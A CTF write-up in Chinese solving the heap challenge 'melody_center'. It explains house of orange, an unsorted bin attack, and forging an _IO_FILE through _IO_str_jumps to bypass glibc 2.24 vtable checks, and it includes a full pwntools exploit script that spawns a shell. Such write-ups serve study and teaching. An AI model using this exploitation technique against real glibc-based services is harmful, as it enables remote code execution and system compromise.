pwn heap: melody_center

第一次接触house of orange + unsorted bin attack + IO_FILE的堆题,大佬们秒的题我硬是做了两三天才搞出来,结果远程打通了反而本地没打通,本地的问题就先放一放以后再解决了。

题目描述

保护全开,题目给了四个功能:

1
2
3
4
1. Create                      
2. Edit
3. Show
4. Exit

其中Create功能中malloc了3个chunk,第二个chunk的大小是可控的,但不超过0x900,第三个chunk的前8个字节是可控的,为两个signed int型的整数,第一个chunk中存了另外两个chunk的地址,以及第一个堆块的地址存在全局变量中(这两个没什么作用)。该功能限制使用4次。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
(chunk_1)+----+----+
| |0x31| +----+----+(chunk_2)
+----+----+ | |size|
+-----| | |--------> +----+----+
| +----+----+ | | |
| | | | +----+----+
| +----+----+ | | |
| +----+----+
| ...........
| +----+----+(chunk_3)
| | |0x21|
| +----+----+
+------------------------> | | |
+----+----+


Edit功能可以修改chunk_2中的数据,由于size可以重新给定,这里存在一个堆溢出可以利用。该功能限制使用1次。

Show功能用来输出chunk_2中的数据。该功能限制使用2次。

Exit就是调用exit(0)(用不上)

利用思路

  • 题目没有提供free函数,需要利用house of orange得到一个unsorted bin
  • 由于题目提供的输入函数没有在字符串末尾补0,可以利用这一点leak出libc的基址(unsorted bin->bk)
  • 需要使用_IO_FILE结构攻击,低版本下(glibc<=2.23)是通过伪造vtable进行的。但是题目提供的glibc==2.24,添加了新的检查机制(vtable必须要满足在__stop___IO_vtables__start___libc_IO_vtables之间),这里需要利用_IO_str_jumps结构体进行绕过,因为它不在检查范围之内。这里需要用到malloc_printerr调用链,最终执行的会是_IO_str_overflow
    1
    malloc_printerr-> __libc_message—>abort->flush->_IO_flush_all_lock->_IO_OVERFLOW
    但最终需要的是调用_IO_str_finish,利用(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base)完成system("/bin/sh")
    1
    2
    3
    4
    5
    6
    7
    8
    _IO_str_finish (_IO_FILE *fp, int dummy)
    {
    if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
    (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base); //[fp+0xe8]
    fp->_IO_buf_base = NULL;

    _IO_default_finish (fp, 0);
    }
  • 通过unsorted bin attack,将_IO_list_all改为main_arena+0x58即main_arena中unsorted bin的位置,此时_IO_list_all->_chain将指向main_arena+0x58+0x68main_arena中size=0x60的small bin,这个small bin以及其中的内容可以通过Edit中的堆溢出利用得到。当unsorted bin因为unsorted bin attack被破坏时,再次遍历会出错,会调用malloc_printerr。
  • 伪造的IO_FILE结构体即_IO_list_all->_chain指向的结构体需要满足:
    1. fp->_mode = 0
    2. fp->_IO_write_ptr < fp->_IO_write_base
    3. fp->_IO_read_ptr = 0x61 , smallbin4 + 8 (smallbin size)
    4. fp->_IO_read_base = _IO_list_all -0x10 , smallbin->bk, unsorted bin attack (以上为绕过_IO_flush_all_lockp的条件)
    5. vtable = _IO_str_jumps - 8 ,这样调用_IO_overflow时会调用到 _IO_str_finish
    6. fp->_flags= 0
    7. fp->_IO_buf_base = binsh_addr
    8. fp+0xe8 = system_addr

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
def create(size, content, _217, _108):
p.sendlineafter("Your choice:", "1")
p.sendlineafter("Size of Heap: ", str(size))
p.sendafter("Content: ", content)
p.sendlineafter("217: ", str(_217))
p.sendlineafter("108: ", str(_108))

def edit(size, content, _217, _108):
p.sendlineafter("Your choice:", "2")
p.sendlineafter("Size of Heap: ", str(size))
p.sendafter("Content: ", content)
p.sendlineafter("217: ", str(_217))
p.sendlineafter("108: ", str(_108))

def show():
p.sendlineafter("Your choice:", "3")
return p.recvuntil("==========")

def exit():
p.sendlineafter("Your choice:", "4")

def pack_file(_flags = 0,
_IO_read_ptr = 0,
_IO_read_end = 0,
_IO_read_base = 0,
_IO_write_base = 0,
_IO_write_ptr = 0,
_IO_write_end = 0,
_IO_buf_base = 0,
_IO_buf_end = 0,
_IO_save_base = 0,
_IO_backup_base = 0,
_IO_save_end = 0,
_IO_marker = 0,
_IO_chain = 0,
_fileno = 0,
_lock = 0,
_wide_data = 0,
_mode = 0):
file_struct = p32(_flags) + \
p32(0) + \
p64(_IO_read_ptr) + \
p64(_IO_read_end) + \
p64(_IO_read_base) + \
p64(_IO_write_base) + \
p64(_IO_write_ptr) + \
p64(_IO_write_end) + \
p64(_IO_buf_base) + \
p64(_IO_buf_end) + \
p64(_IO_save_base) + \
p64(_IO_backup_base) + \
p64(_IO_save_end) + \
p64(_IO_marker) + \
p64(_IO_chain) + \
p32(_fileno)

file_struct = file_struct.ljust(0x88, "\x00")
file_struct += p64(_lock)
file_struct = file_struct.ljust(0xa0, "\x00")
file_struct += p64(_wide_data)
file_struct = file_struct.ljust(0xc0, '\x00')
file_struct += p64(_mode)
file_struct = file_struct.ljust(0xd8, "\x00")

return file_struct

def pack_file_flush_str_jumps(_IO_str_jumps_addr, _IO_list_all_ptr, main_arena_addr, system_addr, binsh_addr):
payload = pack_file(_flags = 0,
_IO_read_ptr = 0x61, #smallbin5file_size
_IO_read_end = main_arena_addr,
_IO_read_base = _IO_list_all_ptr - 0x10, # unsorted bin attack _IO_list_all_ptr,
_IO_write_base = 0,
_IO_write_ptr = 1,
_IO_buf_base = binsh_addr,
_mode = 0,
)

payload += p64(_IO_str_jumps_addr - 8)
payload += p64(0) # paddding
payload += p64(system_addr)

return payload

main_arena_offset = 0x3c1b00
_IO_list_all_offset = 0x3c2500
_IO_str_jumps_offset = 0x3be4c0
system_offset = 0x456a0
str_bin_sh_offset = 0x18ac40

# old top chunk ==> unsorted bin
create(0x8d8, "A" * 8 + "\n", 217, 108)
edit(0x900, "A" * 0x8d8 + p64(0x21) + "A" * 0x18 + p64(0x6d1), 217, 108)
create(0x900, "B" * 8 + "\n", 217, 108)

# leak main_arena and then leak libc
create(8, "B" * 8, 217, 108)
res = show()
main_arena = u64(res[0x18:0x1e].ljust(8, '\x00'))
libc_base = main_arena - 0x58 - main_arena_offset
_IO_list_all = libc_base + _IO_list_all_offset
_IO_str_jumps = libc_base + _IO_str_jumps_offset
system = libc_base + system_offset
str_bin_sh = libc_base + str_bin_sh_offset

# use unsorted bin attack to make _IO_list_all = main_arena + 0x58
# thus _IO_list_all->_chains = main_arena + 0x58 + 0x68 ==> small bin[5] (size = 0x60)
# fake a _IO_FILE struct in small bin[4] by writing the unsorted bin
# make use of _IO_str_jumps->_IO_str_finish
payload = "E" * 0x30
payload += pack_file_flush_str_jumps(_IO_str_jumps, _IO_list_all, main_arena, system, str_bin_sh)
edit(0x300, payload + "\n" , 217, 108)

# trigger error
p.sendlineafter("Your choice:", "1")

success("main_arena: " + hex(main_arena))
success("libc_base: " + hex(libc_base))
success("_IO_list_all: " + hex(_IO_list_all))
success("_IO_str_jumps: " + hex(_IO_str_jumps))
success("system: " + hex(system))
success("str_bin_sh: " + hex(str_bin_sh))

p.interactive()

小结

  1. 在触发malloc_printerr之后,size=0x60的unsorted bin是怎么进入到small bin的机制还不是很清楚
  2. 除了利用_IO_str_finish之外,还可以利用_IO_str_overflow,不过好像稍微复杂一点,没有尝试
  3. glibc==2.24的情况下利用IO_FILE结构体攻击的方法不限于此种,还有其他利用方法没有尝试

相关链接

学习了其他大佬们的文章以及CTF wiki

  1. https://xz.aliyun.com/t/5579
  2. https://www.jianshu.com/p/1e45b785efc1
Author: Nop
Link: https://n0nop.com/2020/02/07/pwn-heap-melody-center/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.